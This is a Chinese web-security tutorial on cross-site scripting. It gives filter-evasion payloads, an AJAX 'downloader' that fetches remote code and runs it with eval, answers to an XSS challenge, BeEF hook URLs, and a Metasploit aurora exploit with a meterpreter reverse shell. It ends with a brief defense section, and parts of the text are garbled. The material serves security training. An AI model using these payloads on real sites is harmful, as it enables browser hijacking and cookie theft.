IT数码 购物 网址 头条 软件 日历 阅读 图书馆
TxT小说阅读器
↓语音阅读,小说下载,古典文学↓
图片批量下载器
↓批量下载图片,美女图库↓
图片自动播放器
↓图片自动播放器↓
一键清除垃圾
↓轻轻一点,清除系统垃圾↓
开发: C++知识库 Java知识库 JavaScript Python PHP知识库 人工智能 区块链 大数据 移动开发 嵌入式 开发工具 数据结构与算法 开发测试 游戏开发 网络协议 系统运维
教程: HTML教程 CSS教程 JavaScript教程 Go语言教程 JQuery教程 VUE教程 VUE3教程 Bootstrap教程 SQL数据库教程 C语言教程 C++教程 Java教程 Python教程 Python3教程 C#教程
数码: 电脑 笔记本 显卡 显示器 固态硬盘 硬盘 耳机 手机 iphone vivo oppo 小米 华为 单反 装机 图拉丁
 
   -> 网络协议 -> XSS讲解下(web安全入门11) -> 正文阅读

[网络协议]XSS讲解下(web安全入门11)

一、XSS 的构造

1.1 利用[<>]构造 HTML/JS
可以利用[<>]构造 HTML 标签和]
1.2 伪协议
亦可以使用 JavaScript:伪协议的方式构造 XSS
在 IE 浏览器的地址栏中输入[javascript:alert(/XSS/);],弹框成功
提交参数[click me!] 点击超链接。即可触发 XSS
也可使用 img 标签的伪协议,但这种方法只在 IE6 下测试成功

[<img src="javascript:alert(/XSS/)">]

1.3 产生自己的事件
事件驱动是一种比较经典的编程思想。在网页中会发生很多事件(比如鼠标移动,键盘输入
等),JS 可以对这些事件进行响应,所以我通过事件触发 JS 函数,进而触发 XSS。
事件种类:
Windows 事件
Form 事件
对 Windows 对象触发的事件
HTML 表单内的动作触发事件
键盘按键
Keyboard 事件
Mouse 事件
Media 事件
由鼠标或类似用户动作触发的事件
由多媒体触发的事件
如:[<img src=‘./simle.jpg’ οnmοuseοver=‘alert(/XSS/)’>]
这个标签会引入一个图片,然后鼠标悬停在图片上的时候,会触发 XSS 代码
单行文本框的键盘点击事件

input type=“text” οnkeydοwn=“alert(/XSS/)”> 当点击键盘任意一个按键时触发
input type=“text” οnkeyup=“alert(/XSS/)”>
input type=“button” οnclick=“alert(/XSS/)”>
img scr=‘./simle.jpg’ οnmοuseοver=‘alert(/XSS/)’>
img scr=‘#’ οnerrοr=‘alert(/XSS/)’>
1.4 利用 CSS 跨站(old)
方法比较古老,在这里就不做介绍

1.5 其他标签及手法(HTML5)
我们可以用其他标签触发 XSS。
[<svg οnlοad=“alert(/XSS/)”>]
[<input οnfοcus=alert(/XSS/) autofocus>]
focus:聚焦

二、XSS 的变形

我们可以构造的 XSS 代码进行各种变形,以绕过 XSS 过滤器的检测。变形方式主要有以下
几种。
2.1 大小写转换
可以将 payload 进行大小写转换,如下面两个例子
Img sRc=‘#’ Onerror=“alert(/XSS/)” />
a HrEF=“javaScript:alert(/XSS/)”>click me
注意:alert 不能改为大写,因为他是 JavaScript 语言,对大小写敏感。
2.2 引号的使用
HTML 语言中对引号的使用不敏感,但是某些过滤函数是“锱铢必较”。

img src="#" οnerrοr="alert(/XSS/)" />
img src='#' οnerrοr='alert(/XSS/)' />
img src=# οnerrοr=alert(/XSS/) />

2.3 [/]代替空格
可以利用左斜线代替空格
<Img/sRc=‘#’/Onerror=“alert(/XSS/)” />
2.4 回车
我们可以在一些位置添加 Tab(水平制表符)和回车符,来绕过关键字检测。
在这里插入图片描述
2.5 对标签属性值进行转码
可以对标签属性值进行转码,用来绕过过滤。对于编码如下:
在这里插入图片描述
经过简单编码之后的样子。

<A hREF="j&#97;v&#x61;script:alert(/XSS/)">click me !</a>

另外,我们可以将以下字符插入到任意位置
Tab
换行
回车
可以将以下字符串插入到头部位置
SOH �
STX �

经过编码后的

A hReF="&#01;j&#97;v&#x61;s&#9;c&#10;r&#13;ipt:alert(/xss/)">
click me!

2.6 拆分跨站

<script>z='alert'</script>
<script>z=z+'(/xss/)'</script>
<script>eval(z)</script>

2.7 双写绕过

对<script>做了一次过滤,过滤为空字符
<scr<script>ipt>

练习 xss 挑战

三、Shellcode 的调用

Shellcode 就是利用漏洞所执行的代码。
完整的 XSS 攻击,会将 Shellcode 存放在一定的地方,然后触发漏洞,调用 Shellcode。
3.1 远程调用 JS
可以将 JS 代码单独存放在一个 JS 文件中,然后通过 HTTP 协议远程加载该脚本。如:

<script src="http://172.16.132.138/XSS-TEST/normal/xss.js"></script>

这是比较常用的方式。xss.js 的内容如下
alert(‘xss.js’);

3.2 windows.location.hash
我们也可以使用 js 中的 windows.location.hash 方法获取浏览器 URL 地址栏的 XSS 代码。

windows.location.hash 会获取 URL 中#后面的内容,例如
[http://domain.com/index.php#GGG],windows.location.hash 的值是[#GGG].
所以我们可以如下构造代码
?submit=submit&&xsscode=<script>eval(location.hash.substr(1))</script>#alert(/This is
windows.location.hash/)],直接提交到测试页面 xss.php.
[

3.3 XSS Downloader
XSS 下载器就是将 XSS 代码写在网页中,然后通过 AJAX 技术,取得网页中的 XSS 代码。
在使用 XSS Downloader 之前需要一个我们自己的页面,xss_downloader.php,内容如下

在这里插入图片描述
常见的下载器代码`

<
script>
function XSS(){
if (window.XMLHttpRequest){
a=new XMLHttpRequest();
}
else if (window.ActiveXObject){
a=new ActiveXObject("Microsoft.XMLHTTP");
else{ return;}
}
a.open('get','http://192.168.1.200/XSS-TEST/normal/xss_downloader.php',false);
a.send();
b=a.reponseText;
eval(unescape(b.substring(b.indexOf('BOF|')+4,b.indexOf('|EOF'))))
}
XSS();
<
/script>

`

AJAX 技术会受到浏览器同源策略的限制,为了解决这个问题,我们需要在服务器端添加如
下内容。

<
?php
header('Access-Control-Allow-Origin:*');
header('Access-Control-Allow-Headers:Origin,X-Requested-With,Content-Type,Accept');
?>

3.4 备选存储技术
我们可以把 Shellcode 存储在客户端的本地域中,比如:HTTP Cookie、Flash 共享对象、
UserData、locationStorage 等。我们以 HTTP Cookie 为例子。
新建文件 cookie.php
在这里插入图片描述
点击 Cookie-XSS 验证,运行 JS 恶意代码。
xxs.php 文件

<
?php
echo $_COOKIE['name']
?>

四、XSS 通关挑战

第一关

第二关
“><img src=”#" οnerrοr=alert(/xss/)>
第三关
’ οnmοuseοver='alert(/xss/)
第四关
" οnmοuseοver="alert(/xss/)
第五关
">click me!
第六关
"Onmouseover="alert(/xss/)
">click me!
第七关
" oONnmouseover=“alert(/xss/)
第八关
javascRipt:alert(/xss/)
第九关
javascRipt:alert(‘http://’)
第十关
?t_sort=click me!” type=“button” οnclick=“alert(/xss/)
第十一关
Referer:click me!” type=“button” οnclick=“alert(/xss/)
在这里插入图片描述
第十二关
User-Agent: click me!” type=“button” οnclick="alert(/xss/)
在这里插入图片描述

第十三关
Cookie: user=click me!" type=“button” οnclick="alert(/xss/)在这里插入图片描述

五、XSS 的防御

XSS Filter 的作用是过滤用户(客户端)提交的有害信息,从而达到防范 XSS 攻击的效果。
5.1 使用 XSS Filter
1、输入过滤
永远不要相信用户的输入是网站开发的基本常识,对于用户的输入一定要过滤,过滤,再
过滤。
⑴输入验证
简单的说,输入验证就是对用户提交的信息进行有效的验证,仅接受指定长度范围内的,
采用适当格式的内容提交,阻止或忽略除此之外的其他任何数据
输入是否包含合法字符
输入字符串是否超过最大长度限制
输入如果是数字,数字是否再指定范围之内
输入是否符合特殊格式要求,如 E-mail 地址、IP 地址等
⑵数据消毒
过滤和净化掉有害的输入
2、输出编码
HTML 编码主要用对应的 HTML 实体代替字符
3、黑白名单
不管采用输入过滤还是输出编码,都是针对数据信息进行黑|白名单方式的过滤
黑名单,非允许数据。
白名单,允许的数据。
5.2 防御 DOM-XSS
避免客户端文档的重写、重定向或其他敏感操作。
六、beef
XSS 神器
XSS 漏洞的利用平台
beef 的启动
工具目录
配置文件
/usr/share/beef-xss
config.yaml
启动 beef 工具的方法
1、beef-xss
2、/usr/share/beef-xss/beef
需要修改配置文件中的默认用户名和密码
vim /usr/share/beef-xss/config.yaml
在这里插入图片描述
Web 界面管理控制台
http://192.168.1.150:3000/ui/panel
Shellcode
http://192.168.1.150:3000/hook.js
测试页面(客户机访问该页面,将被劫持)
http://192.168.1.150:3000/demos/butcher/index.html

七、XSS 的利用

1、浏览器劫持
2、Cookie 窃取与欺骗–固定会话攻击
例如:得到了 cookie 信息 cookie=“username=admin”; userid=1
在浏览器的控制台输入如下命令
document.cookie=“username=admin”;
document.cookie=“userid=1”;
3、利用浏览器漏洞 getshell
用到 msfconsole 工具

msfconsole
use exploit/windows/browser/ms10_002_aurora
set payload window/meterpreter/reverse_tcp
set SRVHOST ip
set LHOST ip
exploit

样生成了一个地址,让浏览器访问该地址
exploit/windows/browser/ms10_002_aurora
exploit/windows/browser/ms12_063_aurora
xp
win7

  网络协议 最新文章
使用Easyswoole 搭建简单的Websoket服务
常见的数据通信方式有哪些?
Openssl 1024bit RSA算法---公私钥获取和处
HTTPS协议的密钥交换流程
《小白WEB安全入门》03. 漏洞篇
HttpRunner4.x 安装与使用
2021-07-04
手写RPC学习笔记
K8S高可用版本部署
mySQL计算IP地址范围
上一篇文章      下一篇文章      查看所有文章
加:2022-05-18 17:59:21  更:2022-05-18 18:00:39 
 
开发: C++知识库 Java知识库 JavaScript Python PHP知识库 人工智能 区块链 大数据 移动开发 嵌入式 开发工具 数据结构与算法 开发测试 游戏开发 网络协议 系统运维
教程: HTML教程 CSS教程 JavaScript教程 Go语言教程 JQuery教程 VUE教程 VUE3教程 Bootstrap教程 SQL数据库教程 C语言教程 C++教程 Java教程 Python教程 Python3教程 C#教程
数码: 电脑 笔记本 显卡 显示器 固态硬盘 硬盘 耳机 手机 iphone vivo oppo 小米 华为 单反 装机 图拉丁

360图书馆 购物 三丰科技 阅读网 日历 万年历 2024年5日历 -2024/5/19 10:56:08-

图片自动播放器
↓图片自动播放器↓
TxT小说阅读器
↓语音阅读,小说下载,古典文学↓
一键清除垃圾
↓轻轻一点,清除系统垃圾↓
图片批量下载器
↓批量下载图片,美女图库↓
  网站联系: qq:121756557 email:121756557@qq.com  IT数码